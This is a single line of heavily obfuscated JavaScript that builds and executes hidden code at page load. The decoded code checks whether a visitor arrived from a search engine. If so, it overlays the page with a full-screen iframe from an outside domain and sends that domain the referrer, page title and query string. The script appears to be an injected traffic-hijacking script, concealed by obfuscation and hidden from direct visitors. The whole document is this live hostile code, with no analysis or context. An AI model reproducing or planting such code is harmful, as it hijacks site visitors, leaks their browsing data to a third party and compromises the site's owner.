$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,50,122,113,51,55,54,57,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+$[10]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[20]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[21]+$[17]+$[22]+([]+[]+[][[]])[!+[]+!+[]]+$[7]+$[9]+$[23]+$[24]+$[25]+$[26]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+$[27]+$[28]+$[29]+$[13]+$[29]+$[18]+([]+[]+[][[]])[+!+[]]+$[13]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[24]+$[17]+$[30]+$[9]+$[11]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[31]+$[32]+$[33]+$[34]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[2]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[35]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+$[37]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[36]+([]+[]+[][[]])[+!+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+$[37]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[2]+$[36]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[2]+$[36]+$[39]+$[39]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[3]+(!![]+[])[+!+[]]+$[8]+$[4]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+$[3]+$[39]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+$[40]+(![]+[])[+[]]+(!![]+[])[+!+[]]+$[3]+$[2]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[41]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[42]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[2]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[44]+$[1]+$[22]+$[45]+([]+[]+{})[+!+[]]+$[3]+$[38]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[7]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[11]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+$[42]+$[16]+(!![]+[])[!+[]+!+[]+!+[]]+$[17]+$[46]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[2]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[9]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[43]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+$[9]+$[43]+$[46]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+$[46]+$[4]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[4]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[18]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[38]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+$[7]+$[9]+$[40]+$[9]+$[47]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[9]+$[41]+$[9]+$[11]+$[43]+$[9]+$[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$[17]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[2]+$[36]+$[38]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+$[48]+(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[8]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[46]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[+[]]+$[18]+$[48]+$[14]+$[37]+$[37]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[18]+(!![]+[])[!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$[10]+$[18]+(!![]+[])[+[]]+$[48]+$[14]+$[37]+$[37]+$[49]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+([]+[]+{})[!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+(!![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$[13]+([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]+$[48]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[46]+$[18]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[25]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[48]+$[27]+$[37]+$[37]+$[37]+$[37]+$[37]+$[37]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[48]+$[37]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[38]+$[48]+$[37]+$[5]+$[36]+$[50]+$[35]+$[39]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[50]+$[9]+$[6]+$[51])();